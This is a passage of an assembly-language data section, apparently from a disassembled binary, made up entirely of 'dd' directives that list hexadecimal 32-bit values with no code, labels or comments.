		dd 80ED6A29h, 4B021E2Eh, 0D8AA4016h, 0E2B7428Eh, 38D4923Fh
		dd 66A28010h, 25439F0h,	7A8600E8h, 0EE8AC8E0h, 0CD00AF42h
		dd 0F00D217Fh, 1EAA106Ah, 0FFFDA55h, 0C3A00A2Fh, 0CB8362C6h
		dd 8065DF39h, 11B3E882h, 9545F02h, 3C995C31h, 0D95EC000h
		dd 0E80B9C13h, 80C15274h, 699208CAh, 0B963398Dh, 4AB68000h
		dd 18201514h, 7AA20C01h, 4352DF90h, 973477E5h, 9CE47Dh
		dd 0E8C28B30h, 0A73D322Ah, 16032500h, 59396491h, 0B66E390Ch
		dd 0FE701080h, 131ED48h, 87E86700h, 46BA44Dh, 88E422h
		dd 0A8903419h, 80282429h, 0E0103D02h, 0C0135074h, 0FBBB9E3h
		dd 0D75B059Eh, 5CA7F320h, 0F7044C0Bh, 0C139E034h, 2E4E9980h
		dd 92D0006Fh, 40A5C779h, 0D400CF7Fh, 64882238h,	4B5073h
		dd 4C20AA52h, 0D60CBED8h, 21AE2701h, 3F2C8F16h,	1CF5CD4h
		dd 5ABB4A3Ch, 307B71ABh, 8000019Ch, 742DFC78h, 0B8D71Eh
		dd 135DB2A4h, 0DE2F0451h, 4F5A8000h, 0E16A88C6h, 34E252h
		dd 6789D877h, 0E5D7B8A7h, 6500C275h, 2EE19608h,	1E58595Bh
		dd 0BA64354Bh, 825AB501h, 0F4D0D727h, 0F000ADE9h, 0EB3F19A8h
		dd 8AE705h, 0BC84A663h,	5C766AE1h, 0E810C004h, 0FAC04607h
		dd 12D11Bh, 47653D1Dh, 0E688554h, 8ECE3EFAh, 0CFABAA50h
		dd 0BA4F241Fh, 0F8E8BCC0h, 19DA6600h, 4F0B2A51h, 0C95C00CFh
		dd 44B942C2h, 0BA1E4813h, 825FD378h, 3C7A9882h,	1CA66032h
		dd 36DC00B8h, 130EBF15h, 71011A74h, 64FDBBBAh, 0DF61EB7Fh
		dd 0FE2FF4h, 0B2799554h, 0A7D3A45Ah, 0A35B9800h, 6E200775h
		dd 47741C6Fh, 7B80BC66h, 144450D1h, 45004840h, 30204F4Ch
		dd 3E7355h, 3A69572Eh, 0ACDE6874h, 0B498C4A0h, 3B498700h
		dd 92F0D5AFh, 29F700FBh, 0EFE388C5h, 0FC00A23Ch, 351B9886h
		dd 2F9CB8h, 0EB4E90E2h,	8B3301C0h, 4967C807h, 0ABF4BA3Ch
		dd 2B736980h, 0A8420020h, 0FEA32D9Fh, 62002C03h, 0A75D253h
		dd 0A54494h, 0E38F8BDDh, 49F3C755h, 3CF8F970h, 800CFC3Dh
		dd 7CA3853Eh, 4AF1ABD5h, 58B812h, 0E233545Bh, 8D49D2h
		dd 22F7EE4Dh, 0D5E42878h, 694EF900h, 0F17F7B32h, 19C23E5Fh
		dd 0F22BD101h, 0C008BCF5h, 4900414Dh, 5246204Ch, 1C3AF04Fh
		dd 40885BEDh, 0B047DE9Ah, 1509A1E2h, 14008E4h, 205450DEh
		dd 5E4FE0h, 1CCCA3Ah, 0DD0814E8h, 0D85D8900h, 0EE4E3250h
		dd 698F05AFh, 0C09FFF4Bh, 8D62F40Dh, 0D7D1E500h, 94D9A4C7h
		dd 75FA0F92h, 0C01C655Eh, 0BAFC0A4Dh, 0AB00E5B4h, 3B63F059h
		dd 3EC3064h, 0C429C314h, 77BB4418h, 0F622CAF0h,	0D443BA00h
		dd 0A137C99Dh, 0B8CF00A7h, 2173BE1h, 25B0C1ECh,	0E6004298h
		dd 6B2CAB38h, 470FF4h, 94688D8Bh, 3B42406Eh, 0A701DC03h
		dd 0D857CBF3h, 0B441C14h, 0D8A65441h, 4612F880h, 6D07C861h
		dd 205C8725h, 0F4FBFFE0h, 88090028h, 7F977553h,	2A008DADh
		dd 8A2C144Ch, 922BDFh, 2D5E2858h, 32B3C9E5h, 0F3781600h
		dd 616CC82Fh, 6E3E0069h, 68631D3Bh, 1F0072D6h, 493DC024h
		dd 2D4F53h, 7535E238h, 4C315639h, 0E21293Dh, 40437ACBh
		dd 45E5ED66h, 6F633BF4h, 67706480h, 62382C8Ah, 0F627561Eh
		dd 53F45881h, 97E47D91h, 70830F7Eh, 8525E6C8h, 5FE983C9h
		dd 0B725D5B8h, 1092D400h, 0EC4F6A7Fh, 0D32300B4h, 0E6CF62D6h
		dd 0A531266Fh, 686ECCFFh, 35343D0h, 4CE7A3B8h, 9FE96958h
		dd 5251F8F4h, 38F7EF00h, 39829794h, 3A413CE7h, 881400F3h
		dd 0A484C06Ch, 103F2A8Bh, 8A88F40h, 3839A042h, 701AAF0h
		dd 4A4784Ch, 0F61560AFh, 501C820h, 30C16590h, 0AF81910h
		dd 0F36FE29h, 0CA08C060h, 2D81CC69h, 0F42B2C05h, 957D5A64h
		dd 4D282703h, 0B81DD9E2h, 0E46EC161h, 0A560073h, 70DDB898h
		dd 663F5269h, 804036Ch,	0A04650A1h, 0EC37Ch, 0B6D7EBE8h
		dd 8D8157B4h, 320780E2h, 1C54B09Ch, 1E0E405Eh, 0F194E9F5h
		dd 154FD0FBh, 73E3B06Bh, 483C019Ah, 743E7F6h, 670C86Fh
		dd 44ED7900h, 5D977854h, 3484000Ah, 5817DAF9h, 0D40AF791h
		dd 0E57538A0h, 0A26D2A00h, 717464h, 8D704C52h, 453CAE72h
		dd 39403Ch, 0D05F5089h,	5BBD94h, 75488555h, 7D8AF9F6h
		dd 742FE73Fh, 0FEFFF800h, 173EF82h, 2E90B63h, 0F38065D9h
		dd 888B1BA0h, 956F7400h, 28692C91h, 0DF034C5Ah,	0D91FE905h
		dd 92038099h, 2000686Ah, 0FD858D55h, 0B8BE81DFh, 0D8F60B3Ah
		dd 8500A101h, 492F8A7Eh, 57281707h, 1DC095ECh, 750A5B9h
		dd 16294A7Bh, 5FB43025h, 0AB0090EAh, 0C449C60Eh, 1AD93680h
		dd 404C6728h, 8DE959E0h, 8E73297Bh, 592D3Bh, 0FB3AE571h
		dd 4E182Ah, 0C9825CA6h
		dd 0F51A8D89h, 0F0FC8700h, 5768BDA2h, 9F7A3C96h, 0F8423180h
		dd 49BF14EAh, 1DEB1903h, 0C388C892h, 0FB83AB90h, 57ED00Ch
		dd 61300FB8h, 0E7E0558Dh, 0AF918696h, 0C32D321Dh, 82C8C0CAh
		dd 60C4A00h, 26D858Ah, 25ECB5BBh, 18E01844h, 6E00EB2Ch
		dd 0A7D04936h, 1D28E6h,	1AC83C42h, 0CB24C90h, 2958241Eh
		dd 399E82C0h, 76481730h, 2E2D0064h, 0EB50B11Ch,	8E00BBD6h
		dd 0BD800A65h, 0B88269h, 203FFA6Ch, 0BADAF8Bh, 4B214E01h
		dd 0E15E0CB3h, 0E73ECh,	804F3332h, 6B447629h, 0F8CA5D1Ch
		dd 0E88010DEh, 0C55765E3h, 0B0200B5h, 5EEB8C68h, 4500DA0Fh
		dd 0EAFF8995h, 78E9AF74h, 55A7011Dh, 598AC47h, 5C06607Dh
		dd 4B00DAF2h, 2C3E20CEh, 1D921CD2h, 0C0D5C9E9h,	93C8F9D3h
		dd 0E8FAD8FDh, 0A4F9B750h, 689D3B00h, 0A879AF2Fh, 1CC9043h
		dd 0CB8588Ah, 0E4E54020h, 0C17CA7C8h, 0AF7A4807h, 0E9C0D90Fh
		dd 1F64F5A4h, 6629EEh, 8F100E8Ah, 500A5ECh, 3101B9EDh
		dd 3EA263D5h, 0D803C6Dh, 0B4E14CDAh, 61003FECh,	0AFBC683Eh
		dd 40DB14h, 9E97E805h, 0F77BF6FDh, 0ECCC1112h, 14F45A00h
		dd 0F816A037h, 0D8450084h, 9F89AB25h, 0D97906BAh, 0B8EE6902h
		dd 43F28D4Bh, 0B794E063h, 10520220h, 0F3D76D7Bh, 770E8960h
		dd 9DD96900h, 0ECE4AF02h, 24F57945h, 4A9216h, 6ABE5A7Ch
		dd 2C704ED1h, 4F880E00h, 5122036Eh, 72710066h, 5660A06Dh
		dd 64002567h, 21F8966Ch, 79C9534Fh, 8A936734h, 458EDE1Eh
		dd 25AFB4A0h, 0F700ABD4h, 0EDCF16D5h, 784AEA7h,	31EFBB83h
		dd 0B09E6039h, 0BA00280Dh, 69B1EDE4h, 50FC60h, 1DA2838Bh
		dd 0C64507FDh, 9012DD00h, 0BCC8B01Ah, 21C01E11h, 22C44FACh
		dd 0CC21F032h, 0A4D04400h, 0D8D44086h, 0CA00189h, 12E081DCh
		dd 0C03E719Ch, 680084E8h, 90B48521h, 3F032ECh, 0D51AC435h
		dd 8BD86CB0h, 0AA3C064Bh, 0D96A9E89h, 0B6AB4580h, 0D6C447h
		dd 0F84E2EEDh, 951B3C8h, 70C47550h, 25290209h, 0CBAD8078h
		dd 0FE32AD61h, 42140063h, 50628864h, 8E676973h,	3F838A10h
		dd 937C9C5h, 8FBC4h, 50C15C6Bh,	0A685EF41h, 589F4403h
		dd 0C0E23DA4h, 4CF7F6h,	0F8324AF9h, 434838CFh, 0CCAA2700h
		dd 335DE10Dh, 20F076Eh,	31A6FFB8h, 0C819F8E9h, 1B5CDD7Ch
		dd 4C0B00A9h, 0DBF3489Bh, 621F3F69h, 4E62B8Eh, 0B6700F80h
		dd 102BA25h, 68B0A27Bh,	0AF4FE0F4h, 0D427012Fh,	75330518h
		dd 0A013D0CDh, 0B3DDEF1Fh, 49741BC0h, 1AEC57Ch,	753AAC68h
		dd 0CCA16D48h, 81003CEFh, 266AFBD7h, 0A09C4Ch, 420D312Dh
		dd 2409940Ah, 13C4400h,	6B40716Dh, 3FC50060h, 5CE6B033h
		dd 2D3B18A5h, 5BF78009h, 468BEA08h, 9102022Eh, 2CB90B78h
		dd 534B8F40h, 76008778h, 0D1D77F2h, 8F010h, 8C022249h
		dd 53140446h, 38838001h, 2F26D49Eh, 206A30h, 3C705B9Fh
		dd 0F233B85Fh, 0CFC40B00h, 79084725h, 0F8D1EAD3h, 0FE8CFE84h
		dd 4B98038Ah, 0A01636A3h, 608657C7h, 424611ACh,	8771EC0Eh
		dd 20A18E10h, 0E6F5DE14h, 0B394001Ah, 82E8950Fh, 0B90001E0h
		dd 0B7AE53DDh, 9078764Ch, 416900DAh, 0B416E421h, 0E31E6891h
		dd 198345DCh, 98E02C10h, 78C6CA1h, 84DE3388h, 0BAE3C0A2h
		dd 77006355h, 790A9CABh, 1700BF0h, 1B22F34Bh, 0E7EA1415h
		dd 57C0CBC3h, 8500E118h, 0C1A5AEDCh, 3014C210h,	0FB22958Bh
		dd 3D0053D8h, 0A0654827h, 60683C49h, 18E7AE05h,	500037F7h
		dd 5514A2A1h, 7674129Ah, 9E210076h, 1CA4D822h, 95032991h
		dd 0B81A118Bh, 1873884Ch, 0D485020Ah, 0C9A2437h, 892727E0h
		dd 0CEA4FC00h, 0A8CDC61Dh, 21C3000Dh, 0AC903C29h, 0E400B0C8h
		dd 19B43240h, 441CB8h, 7EBC4386h, 7C87A684h, 0C4548906h
		dd 1AC812h, 91CC214Ch, 28BF48D0h, 0B6D9500h, 5B9038Bh
		dd 2B363D96h, 2CDFD400h, 3CD7AD8Eh, 8D711718h, 5A39ECh
		dd 3E98B2BAh, 99285295h, 513EACB8h, 8370147h, 218E428Fh
		dd 0C6E5E8h, 7DB15EBDh,	4A8513F2h, 0D70669FCh, 0BA120523h
		dd 8BE7002Eh, 533509D0h, 570040DCh, 39717064h, 4A6C6Ah
		dd 249FEBC5h, 4803E29Dh, 650063F4h, 779A4166h, 0F5D50CAh
		dd 640EE09Ch, 473D2080h, 757C255Bh, 7F888E00h, 0A614FAFDh
		dd 784A0B10h, 0A804C8Fh, 6D0B735Fh, 93054FF2h, 22EC8488h
		dd 0F454B7C0h, 79F07906h, 0FCB76B0h, 4E7930F8h,	0FC2D8580h
		dd 1E00C47Eh, 0C24FDAECh, 0A0F786h, 27E853BFh, 7C26B549h
		dd 800D0F3Bh, 0CE57036Ah, 7FF64CDh, 93536F30h, 7D4B7169h
		dd 3E5A30EAh, 77DB0A16h, 4F8C703h, 0A801B874h, 0D09B0044h
		dd 788D102Ah, 4D00E0DFh, 0FA591703h, 0AA0D8Eh, 0BA439185h
		dd 7EADB474h, 5510D500h, 0EEB1612Eh, 8838002Ah,	9BBDEC85h
		dd 9709DFABh, 5C201656h, 30F90079h, 948DE406h, 3E179500h
		dd 5A57CDB9h, 0CFC50312h, 0F455116Ah, 3D2A4590h, 0E22E8107h
		dd 0D321B2DBh, 79CCC954h, 7CF300A5h, 0D02DC8A4h, 7500241Eh
		dd 0F225AC6Ch, 2C3A7649h, 0A6F697h, 70714130h, 69006C13h
		dd 86A9AC63h, 630E6420h, 94FD28F2h, 0B202D3D8h,	0B700A0EAh
		dd 0FC8E41F5h, 3C3E96DBh, 0E980D088h, 0D20F3510h, 7C1F909Fh
		dd 69C7B78Ch, 1CF093C2h, 0B8F403h, 226ECE8h, 352504A1h
		dd 52BCE00h, 0D5D3A79Ch, 0F7BE0011h, 0E5971042h, 8203A54Ah
		dd 480EF6C1h, 99D5C019h, 94E701BEh, 6186662Ah, 0B8ECF450h
		dd 7D0E1803h, 0B83D22DDh, 2B29Dh, 139B5A25h, 5772ACF8h
		dd 0D6E46E00h, 99082788h, 0B24F0324h, 3F8A491Fh, 1C714AE0h
		dd 0EF225Ch, 0EF42BD9Ah, 3B09D2h, 2ABCAC45h, 8F5BEE1h
		dd 0BA38E407h, 0F8774307h, 0CB30B0D3h, 352C883Ah, 362A009Dh
		dd 34283D06h, 74399110h, 677200C0h, 62431D70h, 64C30077h
		dd 0A1286D66h, 5C036568h, 8A976318h, 12F1A80Bh,	5D405C10h
		dd 6A6E0900h, 8F0E6560h, 2668A000h, 1A786255h, 7D7B0067h
		dd 0E4F3DD28h, 0F600BE42h, 7A389514h, 0F99A156h, 9BE80435h
		dd 2760A2E0h, 0C5007625h, 0DA49CC1Ah, 7FE04890h, 0E6CB0028h
		dd 0EB144F22h, 0DE006A23h, 9025F42Ah, 280421BFh, 0A8EAF7h
		dd 0C58B0745h, 94CF77F6h, 41DC490Bh, 75B18089h,	63F816h
		dd 64535110h, 77712407h, 700073E6h, 62752676h, 777C691Ch
		dd 0F9900029h, 5C244A15h, 6B7F074Ch, 57006F7Fh,	197BC728h
		dd 0A02A1405h, 955689h,	24848913h, 836AA372h, 0EBF4220Fh
		dd 0BCEFF7h, 4BD79001h,	19200049h, 6BC48B7Eh, 0CC0256BAh
		dd 2566B322h, 64D7867Ah, 49E700E2h, 5614E350h, 0C800B801h
		dd 130FABCAh, 29ACD8h, 0C32DCE3Bh, 276AE45Ch, 21574509h
		dd 9A07D751h, 0A050B72Ah, 0A907ED97h, 0B2112B00h, 0AD2F5FE9h
		dd 0CB1B48F7h, 0BB35BC00h, 9FAA141Dh, 0D9EE9200h, 46163AF4h
		dd 0A319030Ah, 0CFD8254Fh, 458655F8h, 48125B7Ch, 0ED00A60Eh
		dd 401F496Eh, 754A0047h, 13836653h, 200107Dh, 0C16AF90Ch
		dd 7FC317h, 4B8142EBh, 2C0AD520h, 892F1301h, 0D40708F6h
		dd 0FC64C4ECh, 0F748001Fh, 0DCC31645h, 21072EE6h, 0E319920Fh
		dd 31590840h, 31B97A2Bh, 0BFEA3648h, 0D0856009h, 0EEFF2800h
		dd 0ADC705Fh, 15890004h, 64A87B0h, 2D501245h, 68056ED0h
		dd 0EF82CD8h, 403FB687h, 0D102AAD6h, 0BB400293h, 0C855F5E2h
		dd 0BA8560C0h, 75F7CC00h, 48AC955Ah, 4AB90013h,	11F4ADD7h
		dd 803908C4h, 4EEC4EC9h
		dd 9884FB14h, 10146A00h, 398F32FFh, 395BAB2Ch, 77404E1Dh
		dd 0D920E52Ch, 307A45h,	2D83DC05h, 0A10B40C4h, 2B6BE802h
		dd 0E1A32341h, 77F01879h, 0D4E00FC7h, 6CA0F82Ah, 5708E999h
		dd 0E152F903h, 782A8CEh, 50B814A4h, 5F9E40D5h, 64B8CA4Ch
		dd 68F95E0Fh, 332DA083h, 7AB4F001h, 58A7035Ah, 0B82005B5h
		dd 0E02AAAD9h, 0FC7050C4h, 0A5093Bh, 34058EB4h,	24F397ADh
		dd 4F16A4h, 0E80183B8h,	39005E33h, 980A7448h, 161506h
		dd 20135DD1h, 0EFC138EBh, 2FFA2400h, 34CA2EA3h,	4479030Eh
		dd 6454231Bh, 0E26E3988h, 52DC7C00h, 0E4DAEA32h, 33560071h
		dd 0FB35C810h, 4002C94h, 34301C84h, 162238h, 0EFFA8068h
		dd 28E21065h, 3732C400h, 0EA9DE860h, 432E00C0h,	74276E61h
		dd 6C00201Dh, 0A64DA6Fh, 3FC41A77h, 28731E58h, 18B22C3h
		dd 5A9EFC08h, 0EB540584h, 0EC1811E9h, 8D01801Ch, 0F0524F0Ch
		dd 88C05C15h, 83420168h, 0F1750AFAh, 7EC06EBDh,	6C9ED5h
		dd 0FF558817h, 82297F3h, 0EC832500h, 10111C93h,	5C01750Ch
		dd 213B7F6h, 0C34C002Dh, 0A80D03D6h, 18D38400h,	22155F2Fh
		dd 6A6B0320h, 8AA2D55Ch, 0CFA132A3h, 37F2F4AFh,	4700EAB8h
		dd 8524F710h, 1482C7h, 0CB560B23h, 0C47FBE4Eh, 0C07B0300h
		dd 48C39428h, 1B2500C8h, 0B00C5793h, 473B3140h,	224E0053h
		dd 8126A01Ch, 0C3511FBCh, 766DC00Bh, 482F680Ah,	1BDEFC01h
		dd 2041A452h, 8D3BE8h, 0B8E72490h, 89F89F5Eh, 8A0FFC30h
		dd 0AD6D22h, 77C90576h,	833AFBC4h, 9DF00805h, 0B240E8D4h
		dd 1130222Ch, 7C097234h, 9F370744h, 2079D5EAh, 0C5B55DF8h
		dd 0C3647200h, 8870B7AAh, 5A7C36h, 0F89838FBh, 0D9ED63E9h
		dd 670E8900h, 87F8310h,	0EF9200DCh, 0EB755AA9h,	5DFAC244h
		dd 0B2A8DB00h, 0B41B2C34h, 431C0736h, 4F8E7630h, 0E0380979h
		dd 0B4009086h, 3EE8B0Eh, 8482EDh, 535718EFh, 2019320Bh
		dd 0FCA41400h, 0CDDE752Ah, 5E40ED4h, 2C201021h,	34443088h
		dd 0EB382000h, 0DA7E9732h, 84F000C4h, 0B4A2EF46h, 0AA00073Dh
		dd 0B7B63FC2h, 482A4Dh,	31918757h, 0C39ADFA5h, 770DA900h
		dd 49C2C6E9h, 0FC2E000Ch, 1CC7B2C9h, 0D89D0EF7h, 5CE8078Fh
		dd 0F037B1B5h, 7A9D5443h, 0A1978200h, 0E4BB8335h, 72321D2Fh
		dd 7BA6009Fh, 95431518h, 3A24223Ah, 1F2C3C8Bh, 7E404981h
		dd 4C09A9ABh, 40FC8Dh, 1FF752F5h, 0B46B76FFh, 7B81100h
		dd 7A31BC4Bh, 836C0014h, 0FF09B068h, 0E0003D5h,	0E0987ED6h
		dd 0EA508D63h, 12723892h, 2B2C6B00h, 7DB68E8h, 0D55B3B00h
		dd 6C0251ACh, 0D4055810h, 0F825E003h, 33D82A78h, 5E019722h
		dd 7707C4E7h, 0E430EDD0h, 13AD002Ch, 0B3034F05h, 0D678A226h
		dd 59957700h, 50408ABBh, 9DAC00C7h, 0C42C9B5Dh,	4400E6EBh
		dd 0AA4F453Dh, 1CB0DE92h, 801F645Fh, 8E00CB4h, 0DC1F16B8h
		dd 26002C2Ah, 69A6FAFCh, 68A0032h, 0EEF17D50h, 5A00EB99h
		dd 20D803BCh, 40C00Ch, 5DFEC4D4h, 1DF8C85Bh, 639D7C00h
		dd 62046942h, 16FA009Bh, 3640C611h, 0B1002266h,	63144D67h
		dd 38BC5F68h, 1A808D3Ch, 0A3F3AC3Eh, 60E62FBh, 8029BB36h
		dd 0F4531B6Ah, 43141D10h, 0ED5CE3Ah, 13FCBE0h, 0F0037D89h
		dd 0CDAA0FB0h, 42AB9085h, 4EC0128h, 17BF39EBh, 0E488E052h
		dd 63844407h, 0B2E0AAE0h, 0F379A27h, 537F5FBAh,	0F081A947h
		dd 8BF3C3B0h, 89E4F007h, 9050F6F8h, 0E6720A78h,	41020048h
		dd 646D69A9h, 0BD0033EEh, 0ADDCB368h, 22EA54h, 0FC44D815h
		dd 7198A5D4h, 0A18F000h, 5EBD7943h, 0D0C80122h,	0D6CCA7F6h
		dd 0DF5F7052h, 6F3D2900h, 9B177293h, 0FB5F0024h, 3B052BA3h
		dd 730E0C58h, 250181EFh, 7A871942h, 9CC0B544h, 2F3031C7h
		dd 0C37ED92Bh, 3858BF00h, 0E636A6h, 0FDBEBA70h,	69ABD42Fh
		dd 78D80D00h, 4F71CCE8h, 0BC8D2CEAh, 8BF00032h,	0BF99E455h
		dd 81DE5E3Bh, 0C6AB6BFBh, 21E82AE0h, 9D430712h,	90C2C788h
		dd 18E7E4AAh, 1C750500h, 45724019h, 0BEBC0117h,	0C9744792h
		dd 8E89305Eh, 1405CC2Ch, 1345F500h, 0EC6A6093h,	0F762018Ch
		dd 25F25886h, 0B9830B9h, 4F071EEAh, 0AEE83EFFh,	9E369CA0h
		dd 0EC200E4Dh, 5EE02384h, 75AD19A9h, 1741090Fh,	70038557h
		dd 29DACC0h, 76DC00E8h,	8199101Ah, 0C01DFDF3h, 8B005B07h
		dd 0D619917Fh, 94090022h, 0E76AA888h, 2901A263h, 0F5A75DF3h
		dd 4AC41D8Dh, 68530081h, 0AD6F8A4h, 94287506h, 0CD00E954h
		dd 0F210B329h, 22CD5A7h, 34970D31h, 740F649h, 9B3CCEBCh
		dd 20A28094h, 0E17D41Eh, 388700C5h, 3B56422Eh, 0D60028C8h
		dd 1BD29990h, 9876572Dh, 4B100059h, 0A5583553h,	0E3000B44h
		dd 523B2C3Dh, 179382Ah,	0F469BD16h, 0E45E1739h,	8000BA0Bh
		dd 5261C91Fh, 0EA6FF72h, 3D7B2416h, 65AB7160h, 6660233Eh
		dd 0C12BC6E8h, 0C3FCE4h, 1653F2D4h, 2F7D044Ch, 8010973Eh
		dd 30A47CBAh, 1BD395Fh,	0F886B774h, 0EC66F7B2h,	24003E96h
		dd 135EEC21h, 16878Ah, 0FA23D52Fh, 36E8A952h, 58787D90h
		dd 0F2549B00h, 84A30277h, 0B96D001Fh, 0AE37FB79h, 3B012711h
		dd 2887A2ECh, 4DF0465Eh, 5DAD00B9h, 0B114CE5Ch,	9D0065A1h
		dd 429AC8Eh, 6A13DAh, 0A662E756h, 0A4D7471Fh, 5FDF2Dh
		dd 0A062C7Bh, 15E8EDCBh, 0C6386084h, 0C6647DE0h, 912871Fh
		dd 0B6EBCD07h, 0FFCFFBF0h, 243C00F9h, 2E7FDA91h, 4D5CD293h
		dd 3F070089h, 0B88B08D5h, 77A41DDFh, 48A680ABh,	0D011AFA3h
		dd 26B9071Fh, 8458BB40h, 3768EB5h, 0FF6B8FE5h, 17A0C321h
		dd 743AE247h, 78A40009h, 405BC083h, 597AF3h, 558AC203h
		dd 74B81820h, 28754Ch, 641C9C08h, 15D8B97h, 0F851A87Ch
		dd 0FC2494E7h, 0E0175B46h, 0C0000179h, 0BA5C1347h, 32DD3A0Ah
		dd 88730D83h, 8A80ED33h, 8DFE2F44h, 340571Ch, 282D51Fh
		dd 0E0FD8345h, 0EEF05D1h, 0BD08778Bh, 68D5200Bh, 0D0978Eh
		dd 0FD9E5E4Ch, 0F977C4D9h, 96EC1600h, 0BE41FC55h, 0A0B01ACh
		dd 0D883061Ah, 0C087617Dh, 5200148Dh, 2D974489h, 0CB3D6Ch
		dd 696A2188h, 0F1FA1612h, 1F4AC800h, 3A7FF95Bh,	97150089h
		dd 748F2E70h, 3006860h,	0ED754DF0h, 4A9142h, 0FD2F1AF9h
		dd 627D7E9Bh, 420358h, 46204788h, 89B617h, 8551D687h, 18E00BA1h
		dd 5425BA01h, 0F3137565h, 0A5E947EDh, 1117060h,	0A2920D42h
		dd 0E8AB54B9h, 15FCF141h, 1CC020FCh, 887A1D94h,	84F40F4Fh
		dd 2FCF2BF5h, 0BD857642h, 0F642AA80h, 8A3E957Ah, 0BB3C3Eh
		dd 0D321A2DEh, 0F67D3DF7h, 0EF540077h, 9DAF8AFAh, 2976C24Ah
		dd 671C1100h, 0A5BA582Ch, 68500762h, 37D7E344h,	132250BBh
		dd 890020FDh, 31C8F09Fh, 7730E453h, 9117B28h, 5623F4B7h
		dd 0B2622A8Fh, 0D0E01EF8h, 4C76FCC8h, 1628C700h, 875F8902h
		dd 5B791DA9h, 0D28A40F4h, 3F71A108h, 0F120AC00h, 510C3730h
		dd 89660013h, 82F0EBC1h, 49980901h, 7F59E012h, 0B39DE003h
		dd 3E90F8CFh, 239A0318h, 2879AF8Bh, 104593C0h, 0D127E00Eh
		dd 4203800Eh, 33F7024h,	254FF066h, 138896D5h, 1C004522h
		dd 270520A8h, 0FF1455h,	0D55A56A4h, 0D0A3ABB6h,	0D7E48B00h
		dd 0DA6B78E6h, 625D5C39h, 0EDCD600h, 0D0033C50h, 83C2EC3Bh
		dd 9055FE78h, 7C408825h, 0F2EE0044h, 10C36003h,	4100D5E8h
		dd 7B78F6EAh, 77FB0220h, 0F8E90033h, 7D9A5FCh, 6EC01609h
		dd 71E8F1E0h
		dd 23E0E23h, 0F826112Fh, 0B900EE21h, 60751735h,	5CCEEB8h
		dd 9E80E56h, 4D9880D7h,	0EB00A67Ah, 0F0752283h,	0C3312Bh
		dd 3BD3A0D0h, 327736F2h, 0E7B82000h, 875C48Fh, 0E30E00EFh
		dd 122373D1h, 53005079h, 3C4F22AEh, 2A90D4h, 2941A991h
		dd 0D15110A5h, 4A384700h, 5C2B590Dh, 9511000Ah,	2ABEE845h
		dd 0C000715h, 4C78346h,	7053AF1h, 820F1A6Dh, 707A4051h
		dd 0BC3C6FD7h, 5200791Ch, 0EF143065h, 0E4D0D40h, 0E3DB3110h
		dd 0D0F71E02h, 85D275h,	0D8FA18F2h, 5408B324h, 1E1718E1h
		dd 40CBFEDBh, 0EAE6E297h, 5F001EA4h, 72F8D4B5h,	0C4597Fh
		dd 0C026FAB2h, 0E108B8BBh, 48743B00h, 0C6DE3780h, 85CA5803h
		dd 7AA74C72h, 2BCD0379h, 10EB1ABBh, 6A0683F5h, 0D73529B0h
		dd 5CA5E200h, 14F47970h, 2462F6EEh, 0B59428h, 97D103B9h
		dd 4000806Fh, 0FA4AEBC7h, 1AC05Dh, 77C33BD9h, 0F23F9220h
		dd 0ECF3CF00h, 0F7901773h, 2BD3011Dh, 105D65D0h, 8BBD20B4h
		dd 3A61EB4Ch, 201E00C2h, 521572C3h, 537A3E48h, 2157F807h
		dd 0EF64F0E2h, 0A000EEEh, 0B075C985h, 390561Eh,	0D8DBB5F3h
		dd 0A788DECBh, 8E12225Dh, 0B1F4210h, 9184F740h,	80EA82h
		dd 0FF88325h, 48202CB8h, 0F0950200h, 0E6433C9h,	50A75C3Eh
		dd 0D600394Ch, 407E0CE9h, 114CFF02h, 80F0756h, 91F6482Eh
		dd 3737566h, 0E888BA8Ch, 0F3E8DFA3h, 44C136AFh,	27D49A6Fh
		dd 460BFCh, 56AB2C8Dh, 0B6E9434Ah, 23028301h, 80C3692Dh
		dd 1932C280h, 0BC2042C7h, 0E19D2C01h, 294A8D4Fh, 208057DAh
		dd 94A958F4h, 0B006DC3Ah, 2E5C34E9h, 8776032Fh,	714A0CAh
		dd 21C7ACB8h, 0F048BA76h, 0A3A51E5Ch, 172061C0h, 0FF64845Ah
		dd 5E85F8h, 0BBB3274Ah,	2E4BEC59h, 0C4102307h, 9A102B74h
		dd 344975h, 143A7E39h, 27C3950Fh, 9421AF00h, 22F19DCAh
		dd 93371F5Bh, 0BC6380BFh, 4F52740Fh, 1EA23907h,	8880103Dh
		dd 16971Ah, 0C27043B4h,	0E9BBE837h, 125A7100h, 0E8FEF50h
		dd 0D868001Ch, 0B3EA42D3h, 0A44CB421h, 0B12002Ch, 702EDD1h
		dd 0E2B90083h, 58694A6Ch, 0C5005F28h, 5D898F5Ch, 7CF9531Fh
		dd 79A000A8h, 168E4212h, 4000738Dh, 0E86D28EBh,	30E18h
		dd 468A109Ch, 6492074Fh, 0C7215400h, 896FD2FFh,	269000ACh
		dd 2481F505h, 7F00EA80h, 0F7C2AF82h, 0FAEFC9F8h, 5EFF0FC8h
		dd 0A43E0ABh, 47B00270h, 9005821h, 6AF8E2E9h, 1616851Fh
		dd 1553C08h, 0F2064369h, 0A5EEE012h, 0C9032707h, 0C00687Dh
		dd 0B0F3EC80h, 6750022h, 12F3AF8h, 0F0085D7h, 31222F4h
		dd 5CC3FD3Bh, 391C4A1Dh, 24CE4043h, 2DD8E83Dh, 3D12EA26h
		dd 47AF4907h, 0F1AE0260h, 0C8040054h, 22289121h, 3A00442Fh
		dd 30488A58h, 0EA1B8Bh,	3607A133h, 7D162CF1h, 7BEA03FAh
		dd 0B215200h, 88F0C464h, 5E4789Dh, 0B1CF71B8h, 8E49C097h
		dd 20009DBh, 8078BEFCh,	424412h, 0FE79B7E4h, 387450DAh
		dd 1353126h, 9992803Bh,	0C2D4717Eh, 24DD005Bh, 0EBAE3BA0h
		dd 41002CC4h, 823CB988h, 5C89CC29h, 63000A65h, 0F3E7B0FAh
		dd 680035A4h, 0A2AEB5DCh, 0D15ED4h, 8C38600Bh, 56C3E850h
		dd 8600C1E8h, 13B9E089h, 8B5B80h, 0FBC28110h, 0A104D614h
		dd 3BDBDF38h, 774900D2h, 0E035FFEEh, 40655C4Bh,	45A4AF00h
		dd 0E989619Ah, 5A046800h, 0AB505D28h, 87920758h, 872449A6h
		dd 86B25134h, 3C71F02Bh, 7B184D07h, 0C11078A4h,	1D1CCC66h
		dd 143EF8h, 4ED70889h, 83006C64h, 2F22098h, 112FC53h, 1C2693F4h
		dd 0F4E7AA85h, 73013B1Fh, 8819826Dh, 0C6C81413h, 0C8AB00F7h
